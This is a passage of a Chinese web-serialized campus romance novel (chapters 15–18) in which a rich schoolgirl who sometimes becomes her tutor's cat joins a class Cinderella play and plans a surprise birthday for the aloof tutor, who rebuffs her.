“刚刚蚊子围着你不是你的错,就是你站的位置有问题。我这个手环很有用的,这个夏天我都没被蚊子咬过。”
说着她就往秦宋那边跑。
留下那男生连自己的名字都没有来得及说出口。
只能握紧了手心里那个黄色的防蚊手环,嘴唇嗫嚅了几下,最终只挤出细若蚊蚋的两个字。
“……谢谢。”
——
本来快要到人流稀疏曲,被秦宋这么一喊,沈初柠又要回原来的地方。
她后面依旧有挺多人。
他们还方向冲突。
逆方向,就容易栽。
大概是几个人的力量往前,沈初柠感觉被人轻轻撞了一下。
力道不大,却让她重心不稳地向前踉跄了半步。
被人拉住手腕扶了一下。
沈初柠下意识抬头,对上一双熟悉的眼睛。
许屿不知何时到了她身后。他显然也是被人群推挤过来的,与她距离极近,近得沈初柠他微微蹙起的眉头。
“小心点。”
他的声音不高,几乎被周围的嘈杂淹没,却清晰地落在她耳里。
“……好。”
许屿目光落在她的手腕处。
那只拉住她的手也很快又松开。
那触感短暂而克制,带着少年特有的温热。
人流依旧涌动。
秦宋的大嗓门又喊了起来。
沈初柠:“……知道啦!来了!”
到底什么事这么急?都喊八百遍了。
15. chapter15
“你的意思是让我们来陪你演话剧?”
——
其实秦宋也没什么大事。就刚刚江涛找了他。
说什么过几天有学校艺术节,每个班都需要准备节目。
本来按照往年,两个实验班这种都随便去弄个大合唱,应付应付过去了。
倒不是江涛不想弄好,主要班里基本所有学生时刻把学习放第一位,心里不想浪费时间在这种上面。当然排除沈初柠,秦宋这类不学无术的。
今天不同。听说是教育局还是哪里有大领导来视察,校长开会的时候要求这次一定要办好。
本来班里学生懒得参与这种,江涛其实也乐得自在。轻松嘛,谁不爱?
正好这次秦宋就撞上枪杆了。有了靶子,江涛直接当甩手掌柜,让他在十张数学试卷和策划这次活动两者来选。
秦宋当然可不想在自己的学习任务再增加负重,两个都不想干,但思来想去还是挑了个似乎不那么累的。
听见秦宋这么说,沈初柠问出了刚刚那句话。
“嗯。”秦宋点头。
“演什么?”
“《Cinderella》”
“也是飚上英文了……”沈初柠吐槽,“那《灰姑娘》的参演人员你找完了吗?”
据她所知,他们班的很多人大概都只想看不想蹚浑水来着。
秦宋挑眉,把在场的几个人名字都报过去:“你,周曜,敖阳成……许屿?”
他的声音拐了个弯。
刚刚说事还没注意到他,现在才发现沈初柠怎么把许屿带过来了?
而且……“话说你俩到现在还牵着手呢?”
他之前怎么不知道沈初柠有这个实力?
“啊?”沈初柠顺着秦宋的视线望去。
……
???
!!!!
她语无伦次,大脑一片空白。
完蛋,刚刚秦宋一直在那催,然后她就下意识拉着许屿的手腕一起过来了。
脸颊瞬间爆红,猛地放开了手,“我、我不是……我刚刚……”
找不到借口,最后憋出一句:“对不起……”
许屿在她松开的瞬间,手指几不可察地蜷曲,随即淡然地将手插回了校服裤兜里。
“不是?”周曜没有理解过来,“我记得灰姑娘的后妈加上带的两个娃,这几家起来就四人了吧,人能够?”
“这不班级活动吗?班里多喊几个不就行了。”
敖阳成:“你喊得动人再说吧。”
喊人?
那不百分之八十被拒绝。
秦宋狐假虎威,回班级做了写了几个需要参演的人物名。把一堆剩下的四十多张碎纸一起放到纸箱。
在中午大课间同学到齐老师还没来时,简单的说了一下本次活动,并让所有人来抽纸。
方宽向来有个演员梦,可惜运气不佳,什么角色也没抽到。
他同桌庄旗倒是拿了个额度后妈的角色。
方宽:“沈初柠,你什么角色?”
沈初柠:“……沉默是今晚的康桥。”
秦宋真是闲的,连旁边的一撮草都要人扮演。
话说,许屿抽到的是什么角色?
沈初柠悄悄凑近瞄个一眼,可惜身旁人很快将纸折叠。
沈初柠:“……”靠,就差一点。
不过谜底很快就被揭晓。
等把纸全部都抽完,秦宋就报了各类角色的名字。
最后报到“崔西利亚”。
沈初柠就看到旁边许屿蓦地站起身,把纸条还给秦宋。
方宽有点蒙,“崔西利亚是谁?”
沈初柠思考了一下,“也许是灰姑娘她二姐?”
“啊?”
适时上课铃声响起,江涛带着他那一沓卷子过来。
上周的周末作业他已经批好,让课代表分发下去。
然后沈初柠就看到她卷子那个大大的满分。
还别说,怪有成就感的。
周末沈初柠坐在许屿旁边写作业时,自然就不敢和以前一样用手机拍题搜答案。只能靠自己一点一点挤答案,写完之后许屿就会拿起她的卷子检查。遇到她不会的地方把知识点讲给她听。
沈初柠其实一开始以为像许屿这样的,讲的内容她会听不懂。毕竟他考试时做题大学高数概念都用上了。
之前就算秦宋那样的伪学霸,她问他几道题,都叽里咕噜不知道回答些什么。
“这样那样,好了。做出来了”
沈初柠根本不懂他这样那样是什么意思,怎么就好了?
然后秦宋就不耐烦了:“太笨了沈初柠,这都不会,讲了你也不懂,自己琢磨去吧,太笨了。”
连续两个“太笨”,沈初柠听他这么说也变得不乐意。两个人吵着吵着就打了起来。
不过都是在小学时候的事。
后面初中高中沈初柠又各自问了他一次数学,又收获秦宋的同款贬低。
事不过三,沈初柠就怒而决定不再问他题了。
面对许屿,沈初柠就不太敢造次了。
不太熟是一方面,主要对于他,沈初柠就不想过多展现自己的无知,好歹想给人留个好印象。
许屿对于她这种,不管他讲什么都“嗯嗯嗯”,“懂了”,但眼神极为迷茫。
重新讲了几次沈初柠就察觉出不对劲,知道许屿是看出来了。
只好小声问:“我是不是很笨啊?”
倒不是沈初柠真陷入自我怀疑。
智商这事强求不来。
她就只是像每次惹祸那样,先主动承认,然后和陈姨,她爸他们撒娇卖乖,这样就不会有过重的惩罚。
经验之谈。
“没有。”
许屿把讲完的卷子给她折叠整齐,放回文件夹。
“你很聪明。”
或许觉得这么说沈初柠不信,许屿在回忆里翻找了对比,“比许格致聪明。”
想起沈初柠大概不知道说的是谁,“我堂弟。”
对于这个回复沈初柠其实不大信的。
不过第一次在许屿口中听见,关于他家里人的事情……
而且许屿是不是话变多了?
以前他最多只会说前面一句,后面那段解释是万万没有的。
只是还没等沈初柠想更多一点,许屿就把他给沈初柠整理的数学笔记放沈初柠桌上。
下节数学自习,她正好可以背。
经过前两天的测试,他大致了解沈初柠现在的情况。
高一的知识基础很扎实。
恰好高一升高二那年,卷子出的不是特别难。沈初柠写的全对,蒙的大致也全对,也就后面专门用来给预备实验班的题不会写,所以才导致阴差阳错去了一班的局面。
不过高二大概是摆烂了,提升卷子分低,基础卷也低。
高二内容沈初柠大概要从基础开始做起了。
沈初柠看他一晚上做出的这些,也是很懵。
这对吗?
她本来以为还能玩最后的几天来着。
她清了清嗓子:“许……屿呀?”
“嗯?”许屿微微侧过头来看她。
“要不……”
要不咱就别搞这些实的,整点虚的呗?
学习太累了,我真心卷不动……
我爸给你的钱你照拿,就别管我了呗?
呜呜呜,我宁愿去当留子去受苦,也不想吃读书的苦……
没有人能理解和数学大题见面不识的那种无措与心酸!
晨间的阳光透过梧桐叶的缝隙,穿过外面的走廊,照在里边的教室,在许屿清瘦的肩头跳跃成斑驳的光点。
沈初柠看着他被阳光勾勒得有些柔和的轮廓,到嘴边的话忽然卡住了。
她爸不是傻子。一个教不会她肯定会找别人。那许屿生活费怎么办?他家里人对他这么差。
那天补习过后陈姨还和她说,许屿这孩子看着可怜,让沈初柠在学校好好关心他。
而且按照许屿的性格,估计也不不会答应她的话。最后的结局很可能就是辞职……那就没有钱了。
阳光掠过许屿额前的碎发,许屿长长的睫毛在眼睑下投下一小片阴影。
看着她,眼神里带着询问。对于她刚刚的话。
“没、没什么……就是觉得,今天天气还挺好的哈。”
哈哈哈哈哈哈哈。呜呜呜,服了,找的什么烂借口。
沈初柠耷拉着脑袋,为自己未来两年悲催又辛苦的生活。
前人诚不欺她。
——心疼男人,就是悲剧的开始。
许屿闻言,抬眼看了看窗外那透过枝叶洒下的金色光束,又低头看了看她写满懊恼的小脸。
因为沈
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初柠低着头,所以没见到他几不可察地弯了一下唇角。
“嗯,是挺好。”
——
什么叫做冷脸洗内裤?
沈初柠不懂。
但她知道什么是哭脸背书。
等真正开始学的时候,她才发现实验班进度竟然这么快。才开学那么一两个月?不知道有没有。高二上的教科书都快被讲完,是以
“不对啊?”沈初柠背到一半,突然一个非常具有现实向的问题。
她转过身看许屿,“许屿,我爸爸应该只让你帮我补习周六周日来着?”
语气开始愉悦起来:“那是不是可以等周末再学呀?”
许屿握着笔的手指微微一顿,在草稿纸上留下一个小小的墨点。
“嗯。”
“那现在就不用……”
他抬起眼,对上沈初柠亮晶晶的眼睛:“沈先生给的钱比市场价高很多。”
沈初柠听懂他的言外之意,“其实不用……”
许屿垂下眼帘,避开她过于清澈的注视,声音低沉了几分:“快背吧,今天作业有很多,你快来不及了。”
沈初柠:“……”
她是不明白他接近37度的体温,是怎么说出这么冰冷的话语。
别听别人说什么数学嘛,就是靠脑子,没什么要背的。
那可真大错特错!
一堆奇葩公式,定义。还有许屿特意给沈初柠备注的一些常用的特定数值等于。
沈初柠向来就不是能沉得下心的。身不动,声不动,脑子早就神游天外。
倒不是在模拟游戏交战,这有点太智障。
她在想许屿家里的事,似乎只是在别人嘴里知道个一知半解。
许屿的婶婶?是叫这个吧?
沈初柠做猫的时候,听见以前许屿这么叫过。
那他爸爸妈妈呢?去哪了?
许屿都被欺负成这样了还不回来吗?
大概是日有所思,夜有所梦。
放学后,沈初柠回家躺床上没多久,还准备先开两把游戏,但不自觉就睡了过去。
又穿到了小狸花的身上。
睁开眼,她正趴在猫窝上。
目光所及,属于猫猫的角落又多了些东西。譬如玩具,带着铃铛的彩色逗猫棒,一只毛都快被啃秃了的毛线老鼠。
屋内灯光有些昏暗,只亮着许屿书桌上那一盏旧台灯。许屿安静地坐在一旁,背对着她,周边宁静,翻页声清晰可见。
他在看什么?
虽然沈初柠对书没兴趣,但好奇心害死猫,她突然就有点好奇。
她轻盈地一跃,悄无声息地落在了书桌一角。
许屿翻书的动作微微一顿,目光从书页上抬起,落在了桌上这只不请自来的小东西身上。
“醒了?”
“喵。”
醒啦。
许屿没有像往常那样立刻将她轻轻推开。而伸出双手,托住小狸花的身体,将她从桌上抱了起来。
沈初柠觉得视野一晃,还没来得及反应,就已经落入了一个温暖而清瘦的怀抱。
许屿继续看书。
沈初柠窝在他的腿上,被有一下没一下地轻轻撸着猫。
这么近距离接触,她其实还是有一点不好意思的。
不过反正也没人知道。
许屿的目光重新落在书页上,但翻页的速度明显慢了下来。
长时间下来,沈初柠开始有点昏昏欲睡,下巴搁许屿腿上,眯着眼。
意识迷糊之际。
“花花。”
“喵……”
嗯……
“我最近好像喜欢上了一个人。”
“喵……喵?”
嗯……嗯?
什么叫做垂死病中惊坐起。
沈初柠猛然抬起头,眼睛睁得溜圆。
???
真的假的???
但许屿只是继续顺着她的毛,不在说话了。
让沈初柠一度怀疑,是不是刚刚没睡醒而幻听了。
许屿垂着眸,继续看着书上的文字。
言语未尽。
那句
——但是我配不上她。
他清醒认知到的横亘在彼此之间的巨大鸿沟。是家境的云泥之别,是那个与她的灿烂格格不入的、灰暗而狼狈,活在淤泥中的自己。
16. chapter16
许屿有喜欢的人了???
凌晨,沈初柠在她房间里给激动醒。
这什么惊天大瓜!
沈初柠抓过床头的手机,屏幕的光亮刺得她眯了眯眼。
凌晨四点二十七分。
这个时间点,连熬夜冠军都该歇菜了,她精神振奋得能立刻下楼跑三圈。
巨大的八卦之魂在她体内熊熊燃烧。
是谁?
到底是谁?!
她把班里、年级里所有可能跟许屿有交集的女生都在脑子里飞快地过了一遍。
是总找他讨论问题的学习委员?
还是隔壁班那个经常假装路过,实则偷偷看他的那个女生?
或者是校花……
可疑人员太多。
尤其是现在只有她知道这个惊天秘闻,想给别人分享的心迫不及待。
正准备打电话给虞灿。
但一看这时间点。
算了。太晚了,虞灿学习本来就很累。
秦宋也不行,手机都没没收了。
那就周曜好了。
半夜三更,周曜就听手机铃响个不停。
他睁开眼,迷迷糊糊地摸到手机,声音沙哑带着浓重的睡意和被打扰的火气。
“……谁啊?最好有天大的事……”
“周曜!周曜!是我!”沈初柠激动的声音从话筒那边传来,“惊天大瓜!绝对惊天大瓜!你清醒一点!”
秦宋被她震得耳朵发麻,勉强把手机拿远了些:“沈大小姐,你看看现在几点?是地球要爆炸了还是你中彩票了?”
“比那个还劲爆!”
周曜来了点兴致,“行,你说。”
沈初柠刚压低声音,准备开口。突然想到这事好像关乎许屿的隐私,而且许屿只说了人,没说名……
最主要的是,沈初柠看许屿上学的那些天也没跟哪个女生走得近啊……
她忽然意识到一个问题。
刚刚趴许屿腿上太困,会不会是做梦幻听?
或许他说的“nvsheng”会不会是什么新型题目?或者说某些知识纲类。
不确定的情况下,那好像是在造谣……
而且就算是真的,那也是许屿的个人隐私问题……
“什么瓜?倒是说说看。”周曜的催促声从电话那边传来。
沈初柠抿抿嘴,心虚回了句:“没事了……”
“沈初柠???”
“哎呀。好困,拜拜,你也早点睡。”
沈初柠连忙把电话挂断,被子蒙住头,当鹌鹑。
十分钟后——
睡不着。
她裹着被子,在床上打了几个滚。
所以……许屿到底有没有喜欢的人?
太狡猾了。
话只说一半。
要不明天直接问问看?
这么问?
——许屿,听说你有喜欢的人啦?(眨巴着眼睛)
那估计会被无视……
——许屿,学习太过枯燥,听说有加人陪伴你身侧
然后就会收获一句
——滚
到底怎么说?
沈初柠就这么思考到早上六点多。
被陈姨喊着下去吃饭上学。
临走前沈初柠还在思考询问的话术。
上了车,才突然想起没给许屿带她最近特别爱喝的一款,新牌子的草莓牛奶。
让司机等一会,噌噌跑到家里去拿,又折返。
“所以……到底怎么说呢?”
沈初柠踢了踢脚下的石子。
里早读还有十分钟之久,周边同学也零零散散地来。
沈初柠便没那么急,慢悠悠地朝教室走。
“嘀嘀咕咕在说什么?”
忽然一只微凉的手,扼住她命运的脖颈。
“干嘛?”
沈初柠一听这声音就知道是周曜。
“你还好意思说?”沈初柠一转头,就看见周曜指着自己眼下的青黑。
“我昨天打云霆赛打到凌晨三点,你倒好,四点多就把我吵醒。问你什么你又不说。”
周曜伸手卡住沈初柠的脸,“是不是故意的?”
沈初柠本想强装镇定,像往常一样插科打诨蒙混过关。
可一听到周曜说只睡了一个多小时,心底那点心虚就像被戳破的气泡,咕嘟咕嘟往上冒。但面色不改。
顾左右而言他,沈初柠拍开周曜的手:“别动手动脚啊,暧昧了暧昧了。”
旁若无事地转过身,趁他一个没注意,头也不回地朝着教学楼的方向拔腿就跑。
周曜只觉得眼前一花,那抹身影就已经窜出去好几米远。他先是愣了一秒,随即直接被气笑了。
“跑什么啊你!又没真跟你算账!”
他双手插回兜里,正准备转身往另一个方向走,余光却瞥见一个熟悉的身影从旁边经过。
许屿正独自走着。
“许屿,早啊!”周曜心情不错,习惯性地扬手打了个招呼。
然而,许屿像是完全没听见,也根本没注意到他。
他甚至没有偏头看周曜一眼,目光平静地落在前方,脚步没有丝毫停顿,径直从他旁边走了过去。
清冷的侧影仿佛自带一层隔绝一切的屏障。
周曜看着他完全无视自己,看许屿逐渐远去,自由自语:“我靠?这么拽。”
他耸耸肩,也没太在意,毕竟许屿的性格向来如此,便吹着口哨朝小卖部的方向晃悠过去了。
而已经走出一段距离的许屿,在拐过墙角后,脚步微微放缓。
他垂下眼帘,浓密的睫毛遮住了眸底翻涌的晦暗情绪。
面色不改。
但许屿的内心已经开始下起了小雨,冒出一个个小蘑菇。
——
许屿不开心了。
明眼人都看得出来。
那股低气压以他为中心,无声无息地弥漫开来,仿佛在他周身自动形成了一个独立的,阴云密布的小世界。
连旁边空气流动的速度似乎都变慢了,带着一种湿漉漉的沉滞感。
方宽本来想凑过去问他一道题目,手伸到一半就被那无形的屏障弹了回来。
他搓了搓胳膊,小声对庄旗嘀咕:“许屿今天怎么了?感觉靠近点都能拧出水来。”
庄旗耸耸肩,爱莫能助。
就连沈初柠这个行走的小太阳,今天似乎也失灵了。
她像往常一样,从书包里拿草莓牛奶给他。但被无声的退还回来,和很久以前一样。
后面的方宽,庄旗也不明白突然这么久变成了这样,除了相互对视一眼,在对方眼里看出懵逼的神情,就做不了其他。
而整整一天沈初柠除了找许屿问问题,其他都只得到了对方的漠视。
就连讲题时,他的眼神比平时更淡漠也更空洞,像是隔着一层磨砂玻璃。
等题目讲完,许屿就不再说话,重新低下头去,笔尖在草稿纸上划出线条。
周身都写着“生人勿近”。
许屿到底怎么了?
沈初柠不理解。
昨天还不是还好好的?
难道……他已经知道,她知道他的秘密了?
不可能啊。
谁会认同人变成一只小猫这么离谱的事呢。
好难懂哦。
男人心海底针。
许
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屿一整天都散发着阴郁的气息,连带着沈初柠心情也有些低落。
下午秦宋才想起参与话剧的人员还没有拉群。
在□□上三三两两加了好友,等人齐了才共同讨论内容细节。
这次扮演灰姑娘的是秦宋,王子是周曜,只能说天选之人。
小时候沈初柠家离秦宋和周曜是最近的,三个小孩过家家,由拼那板那拼来规定父母一组,反正不管怎么游戏,爸爸妈妈角色对调数次,沈初柠永远扮演他们的孩子。
现在扮演王子公主,怎么不算一种缘分呢?
秦宋一开始是不愿意的,按照直男思想,两个男的怎么演情侣?
不过作为主人公台词多,彩排也多,其他人不愿意和秦宋换。
最后策划人秦宋只能以大局观念为主。
晚上放学回去,一干人在小群里商讨剧情。
秦宋也由着这次机会可以肆意摆弄他的手机。
屏幕上滚动的消息一条接一条,表情包和想法齐飞。
然而,一向是群聊活跃分子、能量满满的沈初柠,此刻却异常安静。
她趴在大床上,手指滑动着屏幕,看着那些不断冒出的气泡,却半点参与进去的兴致都提不起来。
不自觉点开群聊人员的头像,寻找许屿的踪迹。
至于为什么不在好友列表找,因为他俩根本还没有加过好友。沈初柠之前把这事给忘了。
许屿的□□空间干净得像一张白纸,什么动态都没有。个性签名处也是一片空白,什么也窥探不到。
不像沈初柠吃个饭也要发九宫格拍照,一点小事就喜欢发朋友圈蛐蛐。
沈初柠看着许屿那头像出神。
他到底怎么了?
沈初柠叹了口气。
不明白啊不明白。
忽的,她余光扫到界面上关于许屿的个人信息。
沈初柠发现他的生日似乎没有几天了。
谁是随便乱填,还是系统自动录入?
但生日这种事情属于许屿的私人信息,并不那么容易知道。
等等。
沈初柠忽然想起之前她被许屿百般拒绝,就想通过外力知道他的喜好。
当时好像听说班长好像是许屿的初中同学,还专门咨询过许屿喜欢什么来着。
既然是同班同学,那同学录应该有。那许屿的生日不就知道了?
沈初柠退出许屿的□□主界面,转而点开了和班长酆桥的私聊。
沈初柠:[戳一戳]
沈初柠:[班长,睡了吗?]
几乎秒回。
酆桥:[没有,怎么了?]
沈初柠:[你初中的同学录在身边吗?]
沈初柠:[能不能帮我拍一下许屿那一页的?]
酆桥:[在的,等我找一找。]
手机那端安静了大概一分钟,界面弹出了一张图片。
照片拍得有些匆忙,字迹略显模糊。
沈初柠看见关于许屿的那一页,异常干净,甚至可说是……单调。
姓名:许屿
生日:10月26日
梦想:(此处是空白,什么也没填)
喜欢的颜色:(空白)
喜欢的食物:(空白)
给同学的留言:(空白)
很符合许屿的风格。
沈初柠看清了生日日期,和她刚刚在许屿的□□个人资料上看见的一样。
10.26
也就是在这周六。
酆桥在对面随口问了句:[沈初柠,你要许屿的资料做什么?]
沈初柠回:[给许屿过生日呀。]
沈初柠:[你要来吗?]
17. chapter17
虽然不知道许屿为什么突然不理人。
但沈初柠很大度。
她才不会因为他莫名其妙的冷淡就也跟着生闷气。
如果换做秦宋或者周曜他们这么莫名其妙,沈初柠绝对需要他们道歉才能气消。
而且如果没有帮买一个月午饭作为道歉礼的话,她是不会那么轻易原谅的。
但对于许屿的话……倒不是区别对待。
主要是他身边除了她好像没有什么其他朋友了,家人的话对他也不好,顶多还有一只小狸猫。
看起来好可怜的。
好吧,仔细想想,她对许屿是有一点区别对待。
——
既然已经想好要帮许屿庆祝生日。
沈初柠开始计划所有流程。
对于沈初柠的话,她的生日分两天。
沈天都虽然一年四季都很忙,但是沈初柠生日的话,他会独留这一天陪着沈初柠。
另外一天沈初柠就会和小伙伴下午去玩,然后吃蛋糕,收礼物。
对于许屿的话,沈初柠觉得她要是直接说,肯定会被拒绝。
所以她这次准备先斩后奏。
群里的讨论依旧绘声绘色。不过时间渐逝,慢慢的就落入尾音。最终由秦宋决定这周的彩排就在沈初柠家进行。
沈初柠家别墅大,地下室有一百多平的家庭影院,几个人在那也不会感觉挤。
好吧,其实秦宋只是想念陈姨做的甜点了。
沈初柠没什么意见。他们来她家说不定还可以把这当借口,推脱掉两天补习。学习什么的,真的别太难为她了。
想到什么,沈初柠又把小群里的这几个人以及虞灿他们重新拉进一个群。
秦宋一看:[?]
秦宋:[沈初柠,你搞孤立就不行了吧。虽然许屿对你是有点冷,但不至于咱拉个小群不带他。素质低了奥。]
也不知道他想哪去了。
沈初柠发了个揍他一拳的表情包。
沈初柠:[心脏的人看什么都是脏的。]
先暗戳戳地挤兑完,她紧接着就说:[我听说许屿这周六生日,要不正好我们给他开个生日派对?]
申逸明:[有什么需要我们准备的吗?]
沈初柠:[来个人就好了,一起过来吃蛋糕!其他的我来准备,不过要是没有时间就算啦。]
她刻意把话说得很轻松,不想给任何人压力。
因为是蓄意制造的惊喜,沈初柠特意叮嘱他们不要走漏风声。
沈初柠也装起高冷人设,这几天白天敢怒不敢言地完成许屿交代给她的任务,晚上一个人哼哧哼哧地往地下影院那边布置,什么彩带气球都用上,她过生日是什么样的许屿就是什么样的。
沈天都感念陈姨年纪越来越大了,家里又招了个厨娘,和平时打扫打扫卫生的。
厨娘中餐西餐韩餐泰餐样样都会,沈初柠在想那天要不要让她都做一下。
不过这些考虑止于周五那晚。
因为许屿突然和她说周六周日不过去了,而给的理由也恰如其分。
——养的小猫生了病。
所有的计划到此gameover。
这也是没办法,总不能不给猫治病是吧。
生日派对只能取消,沈初柠晚上又默默和家里的帮佣一起把那些装饰好的彩带之类给拆卸下来。
不过让陈姨帮忙准备的那些食材因为提前购买好,倒是依旧让厨娘在第二天准备了满汉全席。
难得不用补课,沈初柠竟然觉着有些沮丧,她觉得自己真是病了。
虞灿他们知道许屿来不了倒没说什么,说实话吧,和许屿,他们也只能说泛泛之交。在学校就没说过几句话,专门给他说生日完全谈不上,她纯属就给沈初柠来充个人数。
其他人或多或少也只是凑个热闹。
高二(1)班是这样的,锦上添花用不着,但雪中送炭倒是义不容辞,要是他们班的哪个挨欺负了,就自发性组织报复回去。
周六上午沈初柠睡到自然醒,中午就听陈姨说她的同学来了。
沈初柠昨晚熬了个通宵,正困着呢,脑袋思索了回就想到秦宋他们说要来她家弄话剧的事,用被子蒙住头,她问秦宋来了没。
陈姨说没有。
沈初柠把周曜,虞灿,申逸明几个人名字都报了遍,听见说是周曜倒是已经到了,她就和陈姨说让周曜去招待他们。
陈姨见她这懒惰模样,摇头叹了口气。
睡到下午,沈初柠才姗姗来迟。换了个用来见人的衣服,去地下室扮演装饰品草丛。
反正到时候也就穿个演绎服往台上一蹲,她也用不着参与排练。沈初柠就搁她家电视前连接Switch玩她最近刚买的一款游戏,边听旁边绘声绘色的演绎。
还别说秦宋演技还真不赖,灰姑娘演绎的生动形象的,要不是她觉得以后他脸放娱乐圈不够看,还真可能是她关于娱乐圈一八卦资源。
她带着耳机,非常有素质的和另一个扮演草的女生玩双人模式,倒是秦宋忍不住了,“你这都抢到了?”
他说的是沈初柠现在玩的这款游戏,某某某公司推出的内部测试,还没正式上线,测试名额有限。
沈初柠之前没和秦宋嘚瑟,怕他破防。毕竟人家是vvvvvip,都没拿到名额。好吧,其实沈初柠是专挑一个恰当的时机为了不经意的秀,比如现在。
“这不小case?”
秦宋直接抢了她手上的Switch,自己搁那玩。
沈初柠给他比了个中指。
家里帮佣正好给他们送下午茶,一干人也随之先休息了会。
沈初柠于是乎想起许屿说的那些话,说是带猫去看病?
什么病,她似乎没有问。
不过她突然就想起之前偷偷放在许屿书包里的魔芋爽,小鱼干……然后当猫之后,趁许屿不在扒拉全吃了。
难不成,被她吃出毛病来了?
沈初柠摸摸鼻子,开始有点心虚。
闲着无聊,沈初柠也不想写作业,在家里逛逛,就逛到了厨房。
陈姨在帮忙收拾刚刚做甜点用的面粉。
沈初柠凑到她面前,突发奇想:“陈姨,教我做个生日蛋糕嘛。”
“生日蛋糕?给谁?许老师吗?”
沈初柠瞪大眼睛:“你怎么知道是给他的?”
陈姨笑了笑:“一整天闷闷不乐的,不上课还这样,以前碰到老师临时有事,你可真就跟捞着了个宝似的。”
……
宜城昼夜温差比旁的城市大,是深秋,总是冷的。
大抵是狸花猫从小流浪
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身子骨差,又加上许屿房间背阳湿冷,不可避免的,它就由着这突降的气温而着了凉。
早上猫就有些无精打采,耳朵与爪垫烫得厉害,床底下还伴有着些黄色呕吐物。
许屿虽说不上特别洁癖,但这种总是看不过去。如今却也顾不得打扫干净,把猫装进航空箱便打车去了最近的一家24小时宠物医院。
挂号量了体温,烧到39度5,后面挂水缴费给猫休息之类,来来回回花了几千,加上给它的花销,算是把最近赚的都给还了回去。
也是忙了一天,直到夜落才得以从医院里出去。
做猫的脑子小,事也忘得快,明明昨晚还因为被许屿逼着吃猫粮而闹脾气。
许屿对这也感到有些奇怪。猫粮是宠物店里买得最贵的,偏偏猫有时候爱吃有时候又弃之如敝履,罐头也是。这让他换粮都也是无从下手,这种感觉算是许屿的平生第一次。
狸花猫趴他怀里睡得正香。这副不计前嫌的模样倒是与沈初柠极其相像。
正想着,前面站在灯下的人侧头也望见了他。等得几乎是昏昏欲睡的沈初柠立刻站起身,眉眼弯弯,朝他招手。
许屿的心跳猛然便漏了一拍。
一瞬间他以为一切不过是他的臆想。
——
沈初柠忙活了一下午,最后到了晚上才在陈姨的帮助下极其困难地终于完成了一个看着有点丑的生日蛋糕。
到底是初学者奶油花边记得不是特别自然,但好歹味道应该大差不差?
虽说她一开始不知道许屿具体住哪,但变成猫的第二天,为了保住她的小命,以备不时之需。她就跟江涛明里暗里打听许屿的目前住址,最后得到的地点不是特别明确,但居民楼位置算是知道。
沈初柠就让家里的司机把她送过去。
沈初柠有时候做事想一出是一出。许屿叔叔家住的地方不像别的小区有东门西门,那就一个进出的地方,沈初柠在旁边等。
一开始是坐在车上。
但这边黑灯瞎火,基本没什么光,沈初柠怕许屿回来时她没看见然后错过,她就下车搁大门口等。
等了会,站着有点累,抱着蛋糕玩手机。
又等了会,沈初柠突然想起,她似乎忘了问许屿有没有回去,也许他早就在他房间里了。
说好听点叫没心没肺,说难听点就是做事没脑子。沈初柠正懊恼着白等的这些时间,正准备发个信息问他,就听有脚步声朝这边靠近。
沈初柠下意识抬头,昏暗光线下,许屿清瘦挺拔的身影却显得格外清晰。身边还传出微弱的猫叫。
沈初柠看到他,刚才那点懊恼瞬间被抛到九霄云外,眼睛一下子亮了起来。
她抱着蛋糕就几步小跑过去,献宝似的将手里那个卖相实在算不上好的蛋糕举到他面前。
“许屿!生日快乐!”
她的声音在安静的夜里显得格外清亮,带着毫无阴霾的笑意。
许屿看见突然出现在门口的沈初柠,原本清冷的脸上闪过一丝罕见的错愕。
他看着她手上抱着的东西,眸中带着她看不懂的情绪。
沈初柠一开始以为他要说道谢之类的话,正准备跟他说,“不用谢。”
却听他冷声,“拿着你的东西回去。没必要。”
沈初柠:……?
18. chapter18
明明一开始感觉到对方是有点开心的,到最后还被反而说了一通?不到这个程度,但语气肯定说不上好的。
沈初柠的热情骤然被冷水浇灭了一样,有点生气,又觉得对方也没错,本来就是她自作主张来的。
但还是不开心的,沈初柠就忿而把那包装非常精美的蛋糕往许屿怀里塞,管他最后扔掉还是扔掉,回自家库里南和司机李叔说回家。
这朋友是一天都当不下去了!
沈初柠脾气好,从小到大没真和谁闹矛盾之后好多天都不说话。
许屿算是第一个。
一段时间内,后面的方宽和庄旗都被她那低气压弄得不敢说话,毕竟要是让小太阳都阴云密布雷霆闪烁的,那可真是不能再雪上加霜。
而许屿和之前没什么区别,每天按照沈初柠的个人情况给她安排相应的学习任务。
沈初柠真是一个人无能狂怒。
想和她爸说不想要许屿再给她补习吧,但估计困难重重。
一是她爸估计不会这么轻易同意,二是上次她晚上变成猫之后,无意中就看见许屿带猫去医院看病的发票,约莫好几千,之前两天的补习费用都给花了一大半。而这一切罪魁祸首还是她贪嘴吃的魔芋爽……大概是。
良心难安。
让江涛给她重新换位置吧,对面又说她这段时间成绩提高得多。不过如果她下次考了全班前二十,他就考虑考虑。
那就是不可能的。前二十什么水平,能冲刺京大!但凡她有这个实力,她爸也就心满意足,不至于说找人给她补来补去。
条条大路被堵死。
后几天校文艺大赛如期而至。虽然一班人从来不把这些活动当回事,但总归是做都做了,还是得尽善尽美。
而且一班嘛,全校学霸聚集地之一,这话剧也就是他们炫技的存在。
全英文式交流,标准的纯英腔发音。
反正作为装饰品的沈初柠不交流,无互动,在台上就盯着那个评委发呆,有的是校领导。就这个纯微笑夹杂着一脸懵的表情,沈初柠就知道这人听不懂。
毫无悬念的一班拿了一等奖,江涛为此还高兴了挺久。什么叫做不鸣则已一鸣惊人。
其实沈初柠觉得他还真应该感谢一下她。
说实话,沈初柠自认自始至终就不是什么传统意义上的乖宝宝,就看她小时候手揍恶霸,脚踹校徽。
当沈初柠在台上看着许屿扮演恶毒二姐朝她走过来的时候,她心里浮上一个极其恶毒的想法,悄悄踩住他的裙摆,让他摔跤。
哼,她就是这么坏。
不过也就想想。
毕竟全校第一,高岭之花,对于以前的沈初柠那就是神祇一样的存在。这么出丑,她心里也不是特别痛快。
而且真搞砸秦宋辛辛苦苦排练的话剧,他非杀了她不可。
最后倒是江涛给了沈初柠唯一的慰藉,这次他高兴,周末作业免掉。
——
老实说,沈初柠都被许屿那样拒绝了,一番好意被对方那样轻视,她就无所谓和许屿的关系了。
去他的。
不识好人心。
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还当什么朋友,就没见过比许屿更差劲的人了!
是以沈初柠彻底收起了她那点多余的关心和热情。
每次路过许屿的座位,她都目不斜视,连眼风都没扫过去一个。要不是年龄限制,她都要画个三八线,可惜已经不再是小学生的年纪……
只是当许屿照例将整理好的笔记递过来,沈初柠又不得不收下。可恶的家教身份!让她受苦受累!
